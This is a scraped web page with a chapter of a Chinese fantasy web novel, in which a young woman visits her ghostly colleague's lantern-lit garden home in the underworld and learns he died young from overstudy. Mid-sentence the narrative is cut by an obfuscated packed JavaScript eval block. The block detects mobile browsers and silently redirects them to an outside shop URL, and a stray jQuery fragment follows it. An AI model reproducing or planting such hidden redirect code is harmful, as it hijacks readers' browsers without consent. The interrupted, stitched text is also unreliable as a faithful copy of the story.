默认冷灰
24号文字
方正启体

14. 请君入室

作者:微雨渡山本书字数:K更新时间:
    地府大多数地方建筑风格古今混杂,层叠斗拱紧挨着四方阳台,屋檐脊兽端坐与广告灯箱比肩。分开来平平无奇,凑在一块儿颇有荒诞艺术风格。


    这条街相比之下更能满足刘松巧的强迫症,道路两旁皆是干净的青瓦粉墙,绿树掩映,清幽雅致。连路灯都设置成宫灯造型,高度压制在墙头不远处。


    向老师定居此处,很符合他一贯风格。


    走过百步,街市渐远,连声音都传不到这头。长长的粉墙中终于出现了一扇黑漆木门,上有檐瓦遮头,下有两层青石台阶,门扇不宽却透着股子贵气。


    “到了。”


    刘松巧观门识主人,向老师怕不是个富翁?只看这品味和用料,想必里面只会更讲究。


    门扉半启,向老师先步入其中,刘松巧在外面等他开门,半天不见动静。


    “就这么?”剩下的“进去”两个字咽了回去,等主人安排吧。


    向老师探出半截身子招呼她进去,衣服与门几乎融为一体,煞白的脸尤为突出。大袖子里伸出一只洁白无瑕、骨节分明的手,轻轻挥动,像极了启门图里的样子。


    刘松巧看得有些害怕,脑海里门后房子都变成了龙潭虎穴,但又有更强有力的声音说,向老师不会害她的。


    刘松巧嘴角有些僵,双手比划开门动作道:“向老师,您要不把大门,打开?”


    “抱歉,许久不曾接待客人,礼节疏忽了,请。”向老师倒也敞亮,伸手将门完全拉开。


    门后一片漆黑,只门前寸地有些许光亮,其后伸手不见五指,刘松巧的想象力不自觉地跑满最大功率。


    “要不,啊,我就不进去了,我还……”刘松巧语无伦次,不知该怎么好,直接说出来是不是太伤他了?


    向老师少见地变了脸色,不大高兴:“何事?”


    刘松巧思来想去,自认为找了个最合适的借口:“你家好像停电了,我还有书要背,要不先回去了。”


    向明今怔在原地,眼中充满了疑惑。


    刘松巧心想完蛋了完蛋了,是不是得罪人了,还能不能抢救一下,赶快补充道:“真不是……”


    “抱歉抱歉,忘了点灯。”


    向老师略带歉意浅浅一笑,伸手打了个清脆的响指。


    他身后瞬间亮起点点星火。


    从门口望去,星火如同长廊挂在半空,指引出一条路直通深处。


    向老师躬身抬手道:“请进。”


    刘松巧小时候暑假回老家长住,整天疯玩,但最快乐的还是晚上。正值草木丰茂时期,萤火虫成群结队穿梭于夜幕中,她兴奋地扑向金色光团,却只能抓个空,不一会儿光团便散落到四方。


    此刻萤火般的星芒近在咫尺,她小心地伸出手试图触碰……


    星芒如回忆中一样未等靠近便倏然远去,在空中划出一道明亮的弧线。


    刘松巧略微有些失落地放下手,下一秒如同天光破晓,侧方瞬间被照亮。眼前显现出多彩景物,鲜艳色彩霎时冲破黑暗。


    每进一步,周遭星芒便飞散点亮四方,刘松巧睁大了眼细看,星芒飞出一定距离便坠落下去,所到之处如火焰腾起。新生的柔光笼住一方,但也不至于白昼那样一览无余,为黑夜留出大段篇幅以作留白。


    小池塘水草丰茂,塘边绿树成荫,太湖石嶙峋奇丽,入门长廊曲折绕行池边,弧度优美。


    刘松巧一路没合拢嘴,猜到这里面别有洞天,但远在她意料之外。面对美妙景致,她想说点什么有文化的词儿,张了张嘴,可惜书到用时方恨少,相比面前雅景,着实太俗。


    刘松巧觉得此情此景十分眼熟,忽然想到:“好像苏州园林啊!”


    向老师回头应声:“有些渊源,没想到你在这上面还有涉猎。”


    刘松巧嘿嘿一笑,其实只是去旅游罢了,哪有什么特别的见识,不过夸她她就当礼收了。


    向老师将她引到一处临水小轩稍候,自己先去沐浴更衣。


    刘松巧还在担心一个人枯坐会不会太无聊,几个巴掌大的纸质傀儡蹦蹦跳跳地跑了过来,一个端茶倒水,一个捶腿按摩,更有意思的是还会弹琴,别看人家手短,一个在左拨弄琴弦,一个在右来回滑按,琴声倒也像模像样。


    不愧是风雅古人,连家中傀儡都这么有格调。


    杯中茶叶分明,水色温润,清香四溢,闻起来比上次的普洱更令人心旷神怡。有个个子高些的傀儡还忙着磨茶粉,身前十几件茶具一字排开。


    根据她仅有的一点历史知识,应该是宋代点茶?一排茶具要是都用上一遍,想来十分复杂,与其说是制茶,倒更像是行为艺术。


    刘松巧也没客气,一杯接一杯地大口喝茶,茶水醇香回甘,入喉鲜爽。也别怪她牛饮,好喝就该喝个痛快!


    向老师姗姗来迟,此时繁琐的点茶流程已经到了最后一步,刘松巧的茶杯也已空了四回,本人正呆呆望着檐下一树含苞待放的粉玉兰。


    “抱歉,让您久等了。”


    刘松巧转回头一看,这还是她认识的向老师吗?眼前人穿了身白绸长衫,外罩玉绿纱衣,长发松松挽起,细看五官似乎都变得柔和俊俏。


    “向老师,你……”刘松巧心里咯噔一下,几乎天天相处怎么都没发现向老师长得还挺不错呢?


    “嗯?”向老师端起点好的茶汤,在她对面坐下。


    凑近一看,确实很不错。


    “向老师,你现在看上去好年轻。”刘松巧领悟其中关窍,“上班的时候总板着个脸,看上去老十岁。”


    “我当初,年纪和你差不多。”向老师闻言轻抿一口点茶,嘴唇上沾了些许泡沫,用白绢轻轻擦拭干净。


    刘松巧恍然大悟,鬼长得年轻,那就是死的时候年轻,妥妥的英年早逝,这不是戳人家痛点吗?


    “当真是可惜了。”


    刘松巧说完这句话,向老师眼底闪过一抹悲伤,转瞬即逝。


    “没什么,今天请您来做客,不谈这些。”向明今让傀儡递上一盘子糕点,看上去比第一次开庭前那盘更可口,“感谢您施以援手。”


    这次刘松巧没客气,捏起一块金灿灿的酥饼,咧嘴笑道:“大家都是同事,代个班有什么大不了的,不用这么客气。”说完直接大咬一口,外皮酥脆,内馅湿润,而且一点都不甜腻,是她喜欢的味道。


    “不止今天,这些日子你来帮忙,大家有目共睹,虽说都是同事,能和我们这些死人亲近的,不太多。”向明今语气沉重起来,刘松巧感觉自己吃相对不起人家的态度,赶紧三两口咽下去,擦了嘴端


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275527|198224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正坐姿。


    “也能理解,人鬼殊途,能跨过心里那道坎的人不多,不过你们都是很好的人,帮了我好几次,我来帮忙一是想回报你们,二来,二来……”刘松巧本想摆些大道理宽慰一番,发现话到嘴边还是词穷了,只能掏心窝子,“哈哈,说来也怪不好意思的,二来整天背书没空社交,晚上找你们聊聊也算放松放松。”


    向老师听到这番话,脸上表情逐渐放松,嘴角微微带笑,但最后又有些凝重。许是人鬼殊途这个客观阻碍实在太强了。


    刘松巧赶紧岔开话题:“先前听你说许久不来客,就没点灯,难道你回家都摸黑回来的?”


    向老师竟然点了点头。


    刘松巧更纳闷了,黑灯瞎火的,不是白白浪费这么大一园子?忍不住开口问句为什么。


    向老师毫不觉得自己的行为有何怪异,很自然地答道:“用法术就可以感知,点灯有些多余。一人独住,也不需要那么热闹。”


    刘松巧想起她奶奶还在世的时候,节约得有些过分,总要把家里的灯关到只剩一盏,美其名曰又不是过年要那么热闹做什么。


    当然向老师肯定不是想省钱。


    刘松巧又看向那株可爱的玉兰:“你是不用看,这一园子绿植总得见见光,不光合作用怎么活?”


    “月光之强远胜这点烛火,虽不及日光显耀,帝流浆带来的灵气也足够了。”


    屋檐上看不见的地方有一轮月亮,无时无刻不照在地府上方。


    “但这玉兰,怎么都快五月了还没开。”刘松巧毫不留情地戳穿,明明就是缺水热光照嘛!


    向老师疑惑道:“明明才三月?”


    刘松巧打开手机翻出日历:“你那是农历,农历三月玉兰也早该开过了。”


    看向老师眼神微滞,刘松巧感觉刚才说得有些过火,赶紧找补:“水热条件不好,能开花就已经很难得了,我看其他地方都没有花的影子。”所幸向老师下了班还是有一副好脾气,没和她计较。


    “你说的也没错,上一次看到玉兰花开,已经是五年前了。”


    向明今转头看向池塘,怅然若失。


    “如果没其他事,就不打扰你休息了,我还要早起背书。”刘松巧感觉今天嘴太不乖巧,老在戳人伤疤。起身离场,回去好好反思一下。


    向老师嘱托道:“温书自然要紧,但切记保重身体,万万不可为学业损耗生命。”


    向老师这番话应当是关心,刘松巧却听出了郑重其事的味道。


    “我明白,不过,是有什么前车之鉴吗?”刘松巧嘴比脑子先行一步,说完直想抽自己。


    向老师放下茶碗,一言不发,神色悲怆。没看错的话,这是,要哭了?


    刘松巧啊刘松巧,你今天都说了些什么呀?


    “不用说,我照做就是了,你千万别,别……”她赶紧伸手想要阻止向老师再沉浸下去,手忙脚乱差点一把按在他头发上。


    “都到这份上了,你要不还是听我说说。”向明今无奈一笑,眼神却比哭还难受。


    刘松巧连忙坐回去,洗耳恭听。


    “你之前问过我科举,还有这次的前车之鉴……”


    向老师渐渐埋下了头,声音都在发抖。


    “前车之鉴,是我。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)